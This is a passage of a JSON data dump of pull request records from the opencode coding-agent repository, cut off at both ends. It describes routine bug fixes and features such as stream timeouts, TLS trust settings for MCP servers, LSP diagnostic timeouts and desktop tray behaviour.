        "text": "### Issue for this PR Closes #39869. Related to #17223 (runtime cost tracking for custom providers — this PR addresses only the misleading display for unpriced models, not the runtime cost calculation or usage handling). ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In the TUI sidebar Context section, the spent line now reads `N/A spent` when the current session's model has no pricing instead of `$0.00 spent`. A model is considered priced only when its `cost` entry has at least one of `input`/`output` non-zero. For example, a custom model added to `opencode.json` **with** pricing: ```json \"models\": { \"deepseek/deepseek-v4-flash-0731\": { \"name\": \"DeepSeek V4 Flash 0731\", \"cost\": { \"input\": 0.14, \"output\": 0.28, \"cache_read\": 0.028 } } } ``` shows `$0.21 spent` in the sidebar Context, whereas the same model added **without** a `cost` entry: ```json \"models\": { \"deepseek/deepseek-v4-flash-0731\": { \"name\": \"DeepSeek V4 Flash 0731\" } } ``` now shows `N/A spent` instead of a misleading `$0.00 spent`. The terminal UI footer is unchanged; when cost is not set for a model, no session amount displays there. The pricing decision is extracted into a small pure helper (`modelHasPricing`) so the display logic is unit-testable without mounting the TUI. ### How did you verify your code works? - `bun typecheck` passed in `packages/tui`. - Added a focused unit test covering the pricing decision (no `cost` entry, zero input/output, non-zero input, non-zero output). - Confirmed the sidebar shows `N/A spent` when the session model has no pricing and the currency amount when it does. ### Screenshots / recordings This is a terminal UI change. Expected sidebar Context output for a model without pricing: ``` Context 12,345 tokens 42% used N/A spent ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/39863",
        "createdAt": "2026-07-31T11:30:31Z",
        "updatedAt": "2026-08-13T09:33:50Z",
        "timestamp": "2026-08-13T09:33:50Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "zbcoding",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40010",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(provider): recover stalled model streams",
        "text": "### Issue for this PR Closes #37580 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A model endpoint can return headers and then stop sending body data. OpenCode waits forever in that state, so a stalled child can pin a parent session. This adds a provider-neutral idle watchdog for streaming responses. The default starts at 15 minutes, learns from successful streams per provider and transport, and stays between 15 and 30 minutes. An explicit `chunkTimeout` is still a fixed override. `false`, `0`, or a negative value turns the watchdog off. The watchdog arms when the response is SSE or the request set `stream: true`. That second path matters because the ChatGPT Codex endpoint has been seen to stream without `Content-Type`. Non-streaming requests stay unchanged. A timeout becomes a typed retryable provider error and goes through the existing retry and status flow. It does not change Task orchestration, durable session records, retry policy, or UI. Related work: - #39516 expands opt-in `chunkTimeout` to every response body. This change is a zero-config adaptive default, and it only wraps requests identified as streams. - #39970 detects incomplete EOF and gaps between parsed model events, including stalls hidden by SSE keepalives. Complementary. This change is transport-level body silence. ### How did you verify your code works? Rebased onto current `dev` (no merge commit). - `bun test --timeout 30000 test/provider/header-timeout.test.ts test/provider/stream-liveness.test.ts test/session/processor-effect.test.ts test/session/retry.test.ts` in `packages/opencode` (94 passed) - `bun typecheck` in `packages/opencode` and `packages/core` - Repo pre-push typecheck: 30/30 tasks passed Not re-run after this rebase: the earlier isolated foreground Task stall E2E. ### Screenshots / recordings Not applicable. No UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/40010",
        "createdAt": "2026-08-01T06:49:28Z",
        "updatedAt": "2026-08-12T19:13:35Z",
        "timestamp": "2026-08-12T19:13:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "dcadenas",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40030",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): add spinnerVerbs config to customize TUI spinner text",
        "text": "### Issue for this PR Closes #19401 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a `spinner_verbs` config option to `.opencode/tui.json` that lets users customize the verb text shown next to the spinner while the model is thinking, matching a feature available in similar tools. Users can set `mode: \"replace\"` to use only their own verbs, or `mode: \"append\"` to add to the default list. When the config is absent, behavior is unchanged — the spinner still shows the static \"Thinking\" text. The `Spinner` component now accepts an optional `verbs` prop and cycles through the list on a 3-second interval. The verb list is resolved in `TuiConfig.resolve()` where user verbs are merged with defaults based on the mode. ### How did you verify your code works? - Ran `tsgo --noEmit` across all 29 workspace packages — zero type errors - Started the TUI in dev mode, configured custom verbs, sent a complex prompt, and observed the spinner cycling through \"Summoning demons...\" → \"Hallucinating...\" → etc. in the live terminal output ### Screenshots / recordings ``` ⠹ Summoning demons... ⠦ Hallucinating... ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/40030",
        "createdAt": "2026-08-01T11:28:14Z",
        "updatedAt": "2026-08-13T13:35:30Z",
        "timestamp": "2026-08-13T13:35:30Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "dev-tnsq",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40125",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(opencode): Allow per-MCP-server trust configuration",
        "text": "### Issue for this PR Closes #40111 Also partially addresses https://github.com/anomalyco/opencode/issues/23506 Rather than disabling verification globally, fingerprint pinning achieves the same goal — trusting a specific self-signed cert — without insecure: true. caFile handles private CAs cleanly without a blanket bypass. https://github.com/anomalyco/opencode/issues/14696 https://github.com/anomalyco/opencode/issues/26862 The createTlsFetch() wrapper and per-server TLS config injection proves the transport-layer plumbing needed for mTLS. Adding cert/key fields to the tls config block follows the same pattern — caFile validates PEM; cert+key would too. https://github.com/anomalyco/opencode/issues/1694 Provides a portable alternative. Instead of relying on OS-specific trust stores, caFile: \"~/ca.pem\" lets users point to their corporate CA explicitly, working identically across macOS/Linux/Windows without NODE_EXTRA_CA_CERTS. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds per-MCP-server TLS trust configuration for remote MCP servers using self-signed certificates or private CAs. Three options: `caFile` (path to CA cert), `caPem` (inline CA cert), and `fingerprint` (SHA256 certificate pinning, like SSH host keys). Config schema is added to both V1 and V2 MCP configs. A `buildTlsCa()` helper reads files, validates PEM content, and verifies fingerprints, then `createTlsFetch()` injects the trusted CA into a custom fetch wrapper scoped to that transport only — no global TLS changes. Fingerprint verification uses a one-time pre-flight TLS socket to retrieve the server cert, compares it against the user-provided fingerprint, and promotes the verified cert to a trusted CA. Trust applies only to that transport instance and does not leak across MCP servers. ### How did you verify your code works? - Unit tests cover PEM validation, fingerprint format validation, file reading, DER-to-PEM conversion, and `buildTlsCa` integration - Three-pass code review (security, style/contribution guidelines, architectural design) - TOCTOU in file reads fixed via fd-based atomic stat+read - Performance review confirmed zero overhead on the no-TLS path (the guard `if (mcp.tls)` prevents any new allocations or yields when TLS is not configured) ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/40125",
        "createdAt": "2026-08-02T04:46:28Z",
        "updatedAt": "2026-08-12T21:21:13Z",
        "timestamp": "2026-08-12T21:21:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "karup",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40210",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(console): emit complete Responses-API SSE lifecycle for converted streams",
        "text": "### Issue for this PR Closes #40171 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Two gateway fixes for the Zen/Go `/v1/responses` endpoint when the upstream speaks chat completions (`oa-compat`): 1. **Complete Responses-API SSE lifecycle.** The stream converter only emitted `response.output_text.delta` and `response.completed`, so Responses-API clients (e.g. the Codex CLI) never saw `response.created`, `response.in_progress`, `response.output_item.added`, `response.content_part.added` or `response.output_item.done` and could not complete a turn. The converter is now stateful (`createToOpenaiChunk`) and emits the full sequence in order: `created` -> `in_progress` -> `output_item.added` (message) -> `content_part.added` -> `output_text.delta` -> `output_item.done` (with accumulated text) -> `completed` (with `output`, `stop_reason`, `usage`). Tool-call streams additionally get `function_call_arguments.done` and `output_item.done`. 2. **Drop unsupported tool types when converting to chat completions.** Codex always sends a `web_search` tool; `toOaCompatibleRequest` mapped every tool into `{\"type\":\"function\",\"function\":{...}}`, producing an undefined `name` that upstream serde rejects with `tools[N].function: missing field \"name\"`, 400ing the whole request. Non-function tools are now filtered out (chat-completions upstreams have no equivalent), and function tools keep their nested `function.name`. Verified live before the fix: `deepseek-v4-flash` on `zen/go/v1` streamed only `output_text.delta` -> `completed` -> `[DONE]` -> `ping`; `deepseek-v4-flash-free` on `zen/v1` rejects a `web_search` tool with the serde error above. Note that the paid tier has since been switched server-side to DeepSeek's native `/v1/responses` (full lifecycle observed live on 2026-08-05), but the free tier and any remaining oa-compat-backed models still hit both issues. ### How did you verify your code works? - Added `packages/console/app/test/openaiResponsesStream.test.ts`: text-stream lifecycle ordering with a single `response.created`, accumulated text in `output_item.done`/`completed`, tool-call lifecycle (`function_call_arguments.done`, `output_item.done`), stream with no visible text, `[DONE]` passthrough. - Added `packages/console/app/test/openaiCompatibleRequest.test.ts`: `web_search` dropped while function tools are kept with their nested name, chat-completions tools pass through, no-tools stays `undefined`. - Ran the same assertions through a Node type-stripping harness locally (bun is not installed in this environment); all passed. ### Screenshots / recordings N/A (server-side gateway change). ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/40210",
        "createdAt": "2026-08-03T03:55:27Z",
        "updatedAt": "2026-08-12T17:16:32Z",
        "timestamp": "2026-08-12T17:16:32Z",
        "metrics": {
          "reactions": 12,
          "comments": 5
        },
        "labels": [],
        "author": "Yuxin-Qiao",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40334",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): make permission mode keybind configurable",
        "text": "### Issue for this PR Closes #40331 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The TUI already supports toggling auto-approve permissions through the `permission.mode` command, but users cannot assign that command a key in `tui.json`. This change adds `app_toggle_auto_approve_permissions` with no default binding, maps it to the existing command, and registers `permission.mode` with the app-level TUI bindings. It does not change permission behavior, persistence, or default shortcuts. ### How did you verify your code works? - Ran `bun typecheck` in `packages/tui`. - Ran `bun typecheck` in `packages/opencode`. - Confirmed through `TuiConfig.resolve(...)` that the configured key resolves to `permission.mode`. - Relaunched the TUI and confirmed that `super+shift+a` toggles the `auto` indicator and changes the command description between enabling and disabling auto-approve permissions. ### Screenshots / recordings Not applicable, since this change does not alter the rendered UI. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR Process: human-directed and reviewed, with agentic assistance from openai/gpt-5.6-sol/high.",
        "url": "https://github.com/anomalyco/opencode/pull/40334",
        "createdAt": "2026-08-03T22:40:38Z",
        "updatedAt": "2026-08-12T15:29:08Z",
        "timestamp": "2026-08-12T15:29:08Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "CasualDeveloper",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40427",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "some experimental perf improvements",
        "text": "## TL;DR This is the reduced v2-only performance series. The rebase removed all dev-era legacy-layout, compatibility-client, Home-worker, locale, and profiler changes that do not apply to `v2`. | Area | v2 baseline | PR behavior | | --- | --- | --- | | Session route loading | Session page is in the initial route graph | Canonical session route is a lazy route chunk | | Home to session navigation | Nested lazy content can expose an empty Suspense frame | Router sees the lazy route directly and retains current route during transition | | Restored session startup | App mounts before session route code is ready | Session route preloads behind the existing startup splash | | Home session intent | Session route loads only after navigation | Route warms after Home is usable and idle | | History page size | 200 messages | 50 messages | | History ingestion | Projection continues in the response task | Yields to the main thread before projection | | Renderer highlighting | Pierre can initialize renderer Shiki WASM | Uses worker-side Shiki highlighting | | Completed Markdown | Full completed projection and one large DOM pass | Simpler completed blocks and an 8 ms frame budget | | Composer input | Prompt structure and cursor traverse the editor separately | One editor traversal computes both | ## v2 Rebase | Item | Result | | --- | --- | | Base | `v2` at `47c8d85904` | | Retained commits | 6 | | Changed files | 13 | | Legacy layout commits | Dropped; v2 has already removed the legacy layout | | Compatibility-client workers | Dropped; v2 uses one current generated API | | Home worker/cache fix | Dropped; v2 already keeps its Home index server-wide | | Portable profiler | Dropped; it depended on dev-only desktop hooks and old schema/API behavior | ## Route Stability The canonical route component registered with Solid Router is now the lazy component itself. This lets Router discover the pending module inside its built-in transition instead of committing an eager wrapper and then suspending on nested content. | Path | Behavior | | --- | --- | | Cold Home | Home stays in the initial bundle | | Home idle | Session route starts warming after 1.5 seconds and an idle callback | | Home to session | Existing Home remains visible while the lazy route resolves | | Session tab switch | Loaded session route is reused | | Desktop restored session | Startup splash remains until route preload completes | The route wrapper is small and owns the target-server SDK/sync providers. The full session page remains in the session chunk. ## History | Change | Effect | | --- | --- | | Initial page remains 20 messages | Preserves fast first content | | History pages reduced from 200 to 50 | Bounds response projection and DOM reconciliation | | Main-thread yield before normalization | Gives the browser a paint opportunity before history ingestion | | Updated regression fixture | Covers completion and interruption with the new page size | ## Markdown | Problem | Change | | --- | --- | | Completed Markdown always used the full completed projection | Uses bounded completed top-level blocks unless references require full projection | | Every completed block could update in one task | Updates within an 8 ms budget and continues on the next animation frame | | Superseded rendering could continue | Render generations cancel stale frame work | | Copy controls updated during partial rendering | Final setup runs after block rendering completes | ## Composer The v2 prompt input parser now returns prompt parts and cursor position from one traversal of the contenteditable tree. Cursor-only updates are limited to keys that can move the cursor. ## Validation | Validation | Result | | --- | --- | | Repository pre-push typecheck | 33/33 tasks passed | | App typecheck | Passed | | App E2E typecheck | Passed | | Desktop typecheck | Passed | | Session UI typecheck | Passed | | App unit tests | 675 passed, 13 skipped | | Markdown tests | 24 passed | | Desktop production build | Passed | | History completion regression | Passed | | History interruption regression | Passed on isolated retry | One combined Playwright run hit an existing initial-navigation race in the interruption case before reaching the changed history boundary; the completion case passed, and the interruption case passed when rerun alone.",
        "url": "https://github.com/anomalyco/opencode/pull/40427",
        "createdAt": "2026-08-04T12:20:47Z",
        "updatedAt": "2026-08-13T15:51:45Z",
        "timestamp": "2026-08-13T15:51:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 7
        },
        "labels": [
          "beta"
        ],
        "author": "Hona",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40845",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(app): redesign non-modal settings",
        "text": "## Summary - reorganize the settings navigation and split appearance and notifications into dedicated pages - add Figma-aligned Projects and Extensions views backed by real server configuration and MCP state - improve multi-server selection, local/default server ordering, and default-server menu behavior - add the supporting settings icons, layout styles, and localized copy ## Test plan - \bun typecheck in packages/app - \bun run test:unit in packages/app (707 passing) - \bun run build in packages/app - full workspace typecheck from the push hook (30 packages passing)",
        "url": "https://github.com/anomalyco/opencode/pull/40845",
        "createdAt": "2026-08-06T11:26:49Z",
        "updatedAt": "2026-08-13T06:52:08Z",
        "timestamp": "2026-08-13T06:52:08Z",
        "metrics": {
          "reactions": 0,
          "comments": 17
        },
        "labels": [
          "beta"
        ],
        "author": "Hona",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:40872",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(app): add VS Code Insiders and Antigravity to Open in options",
        "text": "### Issue for this PR No issue filed — small QoL addition to an existing menu. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The session-header \"Open options\" menu (the \"Open in\" dropdown next to the project path) is a hardcoded per-OS list of editors you can open the current directory in. Two editors were missing: **VS Code Insiders** (none of the three platform lists had it) and **Antigravity** (macOS only — it was absent from the Windows list even though the Antigravity IDE ships a CLI shim there). The change: - adds `vscode-insiders` to the macOS, Windows, and Linux lists — `openWith` uses `Visual Studio Code Insiders` on macOS (the `open -a` bundle name) and `code-insiders` on Windows/Linux (the CLI shim both installs on PATH) - adds `antigravity` to the Windows list with `openWith: \"antigravity-ide\"` — the shim the Antigravity IDE installs at `%LOCALAPPDATA%\\Programs\\Antigravity IDE\\bin\\antigravity-ide.cmd`, which the existing `resolveWindowsAppPath` resolves via `where` - adds the `session.header.open.app.vscodeInsiders` locale key to all 28 locale dictionaries, following the existing brand-name convention (e.g. \"VS Code\" is kept as-is everywhere) Why it works: launching on Windows just spawns the resolved command with the directory argument, so any command that resolves through `where` drops in without new plumbing. I verified `code-insiders` and `antigravity-ide` both resolve on PATH on a Windows 11 machine. Antigravity is intentionally not added to the Linux list — its install path there varies by distro and I didn't verify one. ### How did you verify your code works? - `bun --cwd packages/app run typecheck` (`tsgo -b`) — passes - `bunx oxlint` on the changed files — 0 warnings, 0 errors - `bun test packages/app/src/i18n/parity.test.ts` — 4/5 pass. The one failure (`ar` missing the unrelated `session.export` keys) is pre-existing on `dev`: the same test fails identically on a pristine `upstream/dev` working tree with these changes stashed. I could not run the built desktop app for a manual check or screenshot — `bun install` fails on Windows at the `tree-sitter-powershell` native build (pre-existing toolchain issue, unrelated to this change) — so verification is type-level + lint + the i18n tests above. The new entries follow the existing entries' exact shape. ### Screenshots / recordings None — the app couldn't be built on my Windows machine (see above). The two entries are identical in shape to the existing ones. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/40872",
        "createdAt": "2026-08-06T14:04:22Z",
        "updatedAt": "2026-08-12T18:54:49Z",
        "timestamp": "2026-08-12T18:54:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "mradwankhalil-commits",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41219",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(lsp): allow per-server diagnostics wait timeouts",
        "text": "### Issue for this PR Closes #41218 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `DIAGNOSTICS_DOCUMENT_WAIT_TIMEOUT_MS` (5s) and `DIAGNOSTICS_FULL_WAIT_TIMEOUT_MS` (10s) in `lsp/client.ts` are hardcoded. If a language server takes longer than that to produce diagnostics, the wait expires and the client returns nothing — which callers cannot distinguish from \"the file is clean\". That's the bug: silence and success look identical. I hit this with clangd on an Unreal Engine project. One translation unit pulls in ~3,764 transitive headers and clangd needs about 20s to parse it, so the wait always expired and `debug lsp diagnostics` returned only the `.clangd` config file, never the file I asked about. It was not a misconfiguration — the same file compiles cleanly with `clang++ -fsyntax-only` using the flags from `compile_commands.json`, and a deliberately broken copy reports its error correctly. This adds an optional per-server `timeout: { document, full }`, falling back to the existing constants when unset: ```jsonc \"lsp\": { \"clangd\": { \"command\": [\"clangd\", \"--compile-commands-dir=...\"], \"timeout\": { \"document\": 60000, \"full\": 120000 } } } ``` Why it works: `create()` in `client.ts` already receives `input.server`, and `spawn()` in `lsp.ts` already builds that object from the user's config, so the value just needs carrying through and reading at the six places the two constants are used. One thing worth flagging for anyone adding LSP config fields later: the field has to be declared in **both** `config/lsp.ts` and `v1/config/lsp.ts`. A v1 config is decoded against v1's `Entry` before `migrate.ts` passes `lsp` through untouched, so a field present only in v2 gets silently stripped and never reaches the client. I patched only v2 first and the option appeared to do nothing. Five files, +35/-6. I deliberately left `DIAGNOSTICS_REQUEST_TIMEOUT_MS` and `INITIALIZE_TIMEOUT_MS` alone — the latter is #23982 and belongs in its own change. ### How did you verify your code works? Ran the same command against the same file and the same clangd, changing only the config. Before, and after with no `timeout` set (confirming defaults are unchanged): ``` $ opencode debug lsp diagnostics .../HGGameUserSettings.cpp { \"/work/ascent/UE/.clangd\": [] } ``` ~11s, requested file absent entirely. After, with `timeout` configured, on a file containing a deliberate error: ``` zz_check.cpp: 2 diagnostics, 1 error Use of undeclared identifier 'this_symbol_does_not_exist' ``` ~13s. Also checked in a real session that the automatic post-edit path works: writing a broken `.cpp` now attaches `Error [3:13] Use of undeclared identifier 'this_symbol_does_not_exist'` to the write tool result, where before it attached nothing. `bun typecheck` passes (30/30 packages) — the pre-push hook ran it. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41219",
        "createdAt": "2026-08-08T06:08:48Z",
        "updatedAt": "2026-08-13T08:30:54Z",
        "timestamp": "2026-08-13T08:30:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Yagi-Michael",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41342",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): label worktree session tabs",
        "text": "## What Show a worktree session's branch on the existing project detail row in vertical tabs. - worktree tabs render as `project ⎇ branch` - main-checkout tabs retain the existing project-only label - missing location or VCS data falls back to the project-only label - long detail rows fade at the right edge without an ellipsis ## How - `session-tabs.tsx` compares each resolved location's checkout directory with its canonical project directory, then composes the project and branch labels. - `session-tabs-model.ts` owns the worktree/default-branch visibility rule and detail formatting. - `context/session-tabs.tsx` hydrates location and VCS metadata for each persisted tab after session metadata resolves. - Existing location-scoped VCS events keep the displayed branch current after checkout. ## Scope This only changes vertical tabs. Horizontal tabs do not have a second metadata row. It does not add workspace controls or change desktop behavior. ## Testing - `bun run test test/context/session-tabs-model.test.ts test/context/session-tabs.test.tsx` in `packages/tui`: 40 passed - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 692 passed, 5 skipped - workspace `bun turbo typecheck --concurrency=3` via the push hook: 34 packages passed - live PTY verification with `bun run dev:live` confirmed external Git worktrees render the branch while main checkouts remain project-only ## Demo Storybook fixture showing the unchanged main-checkout label, the new worktree label, and long-label fading: ![Vertical session tabs showing project and worktree branch labels](https://github.com/user-attachments/assets/e6ffb9b9-84de-43e7-aa5e-a0078e96ff7a)",
        "url": "https://github.com/anomalyco/opencode/pull/41342",
        "createdAt": "2026-08-09T00:40:15Z",
        "updatedAt": "2026-08-13T17:19:16Z",
        "timestamp": "2026-08-13T17:19:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41520",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(desktop): close to tray instead of exiting",
        "text": "### Issue for this PR Closes #18134 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Clicking X on the desktop app used to quit it entirely, which killed any running agent work. This makes the window hide to the system tray instead on Windows/Linux. Tray menu has Show/Quit, clicking the tray icon brings the window back. Quitting still works normally through the tray menu, the app menu, Cmd+Q and system signals. ### How did you verify your code works? - Wrote unit tests for the close decision logic and the tray module (20 pass) - Ran the built app on Windows 11. Closing the window hides it, process stays alive. Tray Show restores it, tray Quit exits cleanly. ### Screenshots / recordings None - it's system tray behavior, verified through the runtime checks above. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41520",
        "timestamp": "2026-08-12T13:07:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "2031814001yuyue-tech",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41553",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(desktop): proactive RAM memory management",
        "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds proactive RAM management to the desktop Electron app. A monitor polls `app.getAppMetrics()` every 30s and runs GC (main process, sidecar, renderers) when the peak working set crosses 1.8 GiB. `--expose-gc` is set on the main process (`js-flags`) and sidecar (`execArgv`). The sidecar auto-restarts on OOM up to 3 times; renderers that crash with `oom` reload once and show a recovery toast, with a second crash falling back to the existing dialog. Pure threshold logic lives in `memory-threshold.ts` (no Electron imports) so it is unit-testable. ### How did you verify your code works? - `tsgo -b` clean for `packages/desktop` and `packages/app`. - `bun test src/main/memory.test.ts` -> 6 pass / 0 fail. - oxlint (type-aware): 0 errors on all changed files. ### Screenshots / recordings Not a visible UI change (only a transient recovery toast on OOM). ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _Note: created by an AI agent (OpenHands) on behalf of the user._",
        "url": "https://github.com/anomalyco/opencode/pull/41553",
        "createdAt": "2026-08-10T13:59:19Z",
        "updatedAt": "2026-08-13T08:24:27Z",
        "timestamp": "2026-08-13T08:24:27Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "mo-dev-studio-eg",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41555",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(app): add Run button to titlebar for project startup commands",
        "text": "### Issue for this PR ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a Run button to the titlebar that executes the project startup command. The button appears only when a project has a startup command configured in its settings. ### How did you verify your code works? Reviewed the implementation for correct SDK API usage and consistent styling with existing buttons. ### Screenshots / recordings Not applicable — unable to upload screenshots or recordings at this time. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41555",
        "createdAt": "2026-08-10T14:10:51Z",
        "updatedAt": "2026-08-13T08:23:58Z",
        "timestamp": "2026-08-13T08:23:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "mo-dev-studio-eg",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41605",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "chore: upgrade opentui 0.5.1",
        "url": "https://github.com/anomalyco/opencode/pull/41605",
        "createdAt": "2026-08-10T20:45:10Z",
        "updatedAt": "2026-08-12T23:36:12Z",
        "timestamp": "2026-08-12T23:36:12Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "simonklee",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41634",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(acp): respect default agent variant",
        "text": "### Issue for this PR Closes #41628 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Fresh ACP sessions retained the configured default model but not the matching default agent variant, so initial effort fell back to the first available variant. This carries the variant in the ACP directory snapshot only when the agent and configured models match, then selects it only when that model supports it. It also recognizes visible custom default agents with `mode: \"all\"`. ### How did you verify your code works? - `bun test test/acp` (129 pass) - `bun run typecheck` - `bunx prettier --check src/acp/directory.ts src/acp/service.ts test/acp/service-session.test.ts` - Real ACP subprocess: current `dev` selected `none`; this branch selected the configured `medium` variant ### Screenshots / recordings Not applicable; this changes ACP session initialization without UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41634",
        "createdAt": "2026-08-11T01:16:49Z",
        "updatedAt": "2026-08-13T13:26:55Z",
        "timestamp": "2026-08-13T13:26:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "apcooley",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41683",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): refresh task resume permissions",
